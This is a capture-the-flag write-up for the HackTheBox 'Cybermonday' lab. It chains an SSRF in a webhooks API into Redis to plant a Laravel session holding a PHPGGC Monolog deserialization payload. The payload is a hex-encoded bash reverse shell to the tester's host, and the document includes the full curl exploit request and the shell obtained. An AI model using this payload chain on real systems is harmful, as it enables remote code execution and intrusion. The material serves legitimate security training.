SSRF to Redis RCE via PHP Deserialization Attack


There are a few things required;

  • Prefix
  • Presumed session id
  • Complete Payload
    • Code Execution via PHP Deserialization Attack
    • CRLF for Redis
    • HTTP compatible for delivery

Prefix


The prefix was defined the .env file found earlier; laravel_session

session id


The session id is very much like one of the 2 data in the decrypted string; 25c6a7ecd50b519b7758877cdc95726f29500d4c|JKWALJ4QOBcyb5sgRAtTddJlKNwgQ6rtsOokplkw At a later stage, it was confirmed that JKWALJ4QOBcyb5sgRAtTddJlKNwgQ6rtsOokplkw is the session id

Payload


Since Laravel is written in PHP, PHPGGC can be used to generate a payload that conducts a deserialization attack for code execution

The generated payload cannot be directly supplied to the HTTP request with SSRF since prefix, session id and CRLF are missing

In order to obtain the remaining portion of the complete payload, I would need to observe how it gets delivered For that reason, I will then spin up to a Redis instance myself in a Docker container for testing

Docker


┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ docker run -it --entrypoint "/bin/bash" --name cybermonday debian
root@2ca6609377e8:/# apt update -y ; apt install redis -y
root@2ca6609377e8:/# redis-server --port 6379 --loglevel verbose --protected-mode no
258:C 22 Aug 2023 14:13:54.207 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
258:C 22 Aug 2023 14:13:54.207 # Redis version=7.0.11, bits=64, commit=00000000, modified=0, pid=258, just started
258:C 22 Aug 2023 14:13:54.207 # Configuration loaded
258:M 22 Aug 2023 14:13:54.207 * monotonic clock: POSIX clock_gettime
                _._                                                  
           _.-``__ ''-._                                             
      _.-``    `.  `_.  ''-._           Redis 7.0.11 (00000000/0) 64 bit
  .-`` .-```.  ```\/    _.,_ ''-._                                  
 (    '      ,       .-`  | `,    )     Running in standalone mode
 |`-._`-...-` __...-.``-._|'` _.-'|     port: 6379
 |    `-._   `._    /     _.-'    |     pid: 258
  `-._    `-._  `-./  _.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |           https://redis.io       
  `-._    `-._`-.__.-'_.-'    _.-'                                   
 |`-._`-._    `-.__.-'    _.-'_.-'|                                  
 |    `-._`-._        _.-'_.-'    |                                  
  `-._    `-._`-.__.-'_.-'    _.-'                                   
      `-._    `-.__.-'    _.-'                                       
          `-._        _.-'                                           
              `-.__.-'                                               
 
258:M 22 Aug 2023 14:13:54.207 # Server initialized
258:M 22 Aug 2023 14:13:54.207 # WARNING Memory overcommit must be enabled! Without it, a background save or replication may fail under low memory condition. Being disabled, it can can also cause failures without low memory condition, see https://github.com/jemalloc/jemalloc/issues/1328. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
258:M 22 Aug 2023 14:13:54.208 * Ready to accept connections

Starting a Redis instance in a Docker container for testing

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ socat tcp-listen:6379,reuseaddr,fork tcp:172.17.0.2:6379

I will then tunnel the Kali’s port 6379 to the Redis instance in a Docker container Doing so would allow me to interact with the Redis instance outside of the Docker container

┌──(kali㉿kali)-[~/…/htb/labs/cybermonday/Gopherus]
└─$ redis-cli -h 10.10.14.12
10.10.14.12:6379> 

Redis session is now open to the testing Redis instance

the complete payload is set <prefix>:<SESSION ID> <PAYLOAD>

Packet Capture


10.10.14.12:6379> set laravel_session:JKWALJ4QOBcyb5sgRAtTddJlKNwgQ6rtsOokplkw 'O:32:"Monolog\Handler\SyslogUdpHandler":1:{S:9:"\00\2a\00\73\6f\63\6b\65\74";O:29:"Monolog\Handler\BufferHandler":7:{S:10:"\00\2a\00\68\61\6e\64\6c\65\72";r:2;S:13:"\00\2a\00\62\75\66\66\65\72\53\69\7a\65";i:-1;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{i:0;a:2:{i:0;S:51:"\62\61\73\68\20\2d\63\20\27\62\61\73\68\20\2d\69\20\3e\26\20\2f\64\65\76\2f\74\63\70\2f\31\30\2e\31\30\2e\31\34\2e\31\32\2f\39\39\39\39\20\30\3e\26\31\27";S:5:"\6c\65\76\65\6c";N;}}S:8:"\00\2a\00\6c\65\76\65\6c";N;S:14:"\00\2a\00\69\6e\69\74\69\61\6c\69\7a\65\64";b:1;S:14:"\00\2a\00\62\75\66\66\65\72\4c\69\6d\69\74";i:-1;S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}'
OK

I will now send the complete payload to the testing Redis instance in the Docker container with Wireshark running in the background. Wireshark will effectively capture the packet, which then I can further analyze

Wireshark captured the entire traffic, including the RESP request that contains the payload

It appears that CRLF is automatically made by redis-cli when I sent the payload

Now I just need to modify that to fit into the HTTP request For that, I can use CyberChef

CyberChef


I first need to copy the highlighted area as a Hex Stream

Then bring that over to the CyberChef online tool to encode escape string

"*3\r\n$3\r\nset\r\n$56\r\nlaravel_session:JKWALJ4QOBcyb5sgRAtTddJlKNwgQ6rtsOokplkw\r\n$708\r\nO:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{S:9:\"\\00\\2a\\00\\73\\6f\\63\\6b\\65\\74\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{S:10:\"\\00\\2a\\00\\68\\61\\6e\\64\\6c\\65\\72\";r:2;S:13:\"\\00\\2a\\00\\62\\75\\66\\66\\65\\72\\53\\69\\7a\\65\";i:-1;S:9:\"\\00\\2a\\00\\62\\75\\66\\66\\65\\72\";a:1:{i:0;a:2:{i:0;S:51:\"\\62\\61\\73\\68\\20\\2d\\63\\20\\27\\62\\61\\73\\68\\20\\2d\\69\\20\\3e\\26\\20\\2f\\64\\65\\76\\2f\\74\\63\\70\\2f\\31\\30\\2e\\31\\30\\2e\\31\\34\\2e\\31\\32\\2f\\39\\39\\39\\39\\20\\30\\3e\\26\\31\\27\";S:5:\"\\6c\\65\\76\\65\\6c\";N;}}S:8:\"\\00\\2a\\00\\6c\\65\\76\\65\\6c\";N;S:14:\"\\00\\2a\\00\\69\\6e\\69\\74\\69\\61\\6c\\69\\7a\\65\\64\";b:1;S:14:\"\\00\\2a\\00\\62\\75\\66\\66\\65\\72\\4c\\69\\6d\\69\\74\";i:-1;S:13:\"\\00\\2a\\00\\70\\72\\6f\\63\\65\\73\\73\\6f\\72\\73\";a:2:{i:0;S:7:\"\\63\\75\\72\\72\\65\\6e\\74\";i:1;S:6:\"\\73\\79\\73\\74\\65\\6d\";}}}\r\n"

The payload will now work with the HTTP request

Exploitation


┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"action": "sendRequest", "url": "http://redis:6379", "method": "*3\r\n$3\r\nset\r\n$56\r\nlaravel_session:JKWALJ4QOBcyb5sgRAtTddJlKNwgQ6rtsOokplkw\r\n$708\r\nO:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{S:9:\"\\00\\2a\\00\\73\\6f\\63\\6b\\65\\74\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{S:10:\"\\00\\2a\\00\\68\\61\\6e\\64\\6c\\65\\72\";r:2;S:13:\"\\00\\2a\\00\\62\\75\\66\\66\\65\\72\\53\\69\\7a\\65\";i:-1;S:9:\"\\00\\2a\\00\\62\\75\\66\\66\\65\\72\";a:1:{i:0;a:2:{i:0;S:51:\"\\62\\61\\73\\68\\20\\2d\\63\\20\\27\\62\\61\\73\\68\\20\\2d\\69\\20\\3e\\26\\20\\2f\\64\\65\\76\\2f\\74\\63\\70\\2f\\31\\30\\2e\\31\\30\\2e\\31\\34\\2e\\31\\32\\2f\\39\\39\\39\\39\\20\\30\\3e\\26\\31\\27\";S:5:\"\\6c\\65\\76\\65\\6c\";N;}}S:8:\"\\00\\2a\\00\\6c\\65\\76\\65\\6c\";N;S:14:\"\\00\\2a\\00\\69\\6e\\69\\74\\69\\61\\6c\\69\\7a\\65\\64\";b:1;S:14:\"\\00\\2a\\00\\62\\75\\66\\66\\65\\72\\4c\\69\\6d\\69\\74\";i:-1;S:13:\"\\00\\2a\\00\\70\\72\\6f\\63\\65\\73\\73\\6f\\72\\73\";a:2:{i:0;S:7:\"\\63\\75\\72\\72\\65\\6e\\74\";i:1;S:6:\"\\73\\79\\73\\74\\65\\6d\";}}}\r\n"}' --proxy 127.0.0.1:8080

Sending the complete payload with the --proxy parameter to review it on Burp Suite

{"status":"error","message":"URL is not live"}

The response still shows the error message that URL is not live

However, when I refresh the /home page of the test user

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.228] 47704
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@070370e2cdc4:~/html/public$ whoami
whoami
www-data
www-data@070370e2cdc4:~/html/public$ hostname
hostname
070370e2cdc4
www-data@070370e2cdc4:~/html/public$ ifconfig
ifconfig
bash: ifconfig: command not found
www-data@070370e2cdc4:~/html/public$ ip a
ip a
bash: ip: command not found
www-data@070370e2cdc4:~/html/public$ cat /etc/hosts
cat /etc/hosts
127.0.0.1	localhost
::1	localhost ip6-localhost ip6-loopback
fe00::0	ip6-localnet
ff00::0	ip6-mcastprefix
ff02::1	ip6-allnodes
ff02::2	ip6-allrouters
172.18.0.3	070370e2cdc4

I get a shell back, but it appears to be a Docker container Initial Foothold established to the target system’s Docker container as the www-data user via SSRF to Redis RCE via PHP Deserialization Attack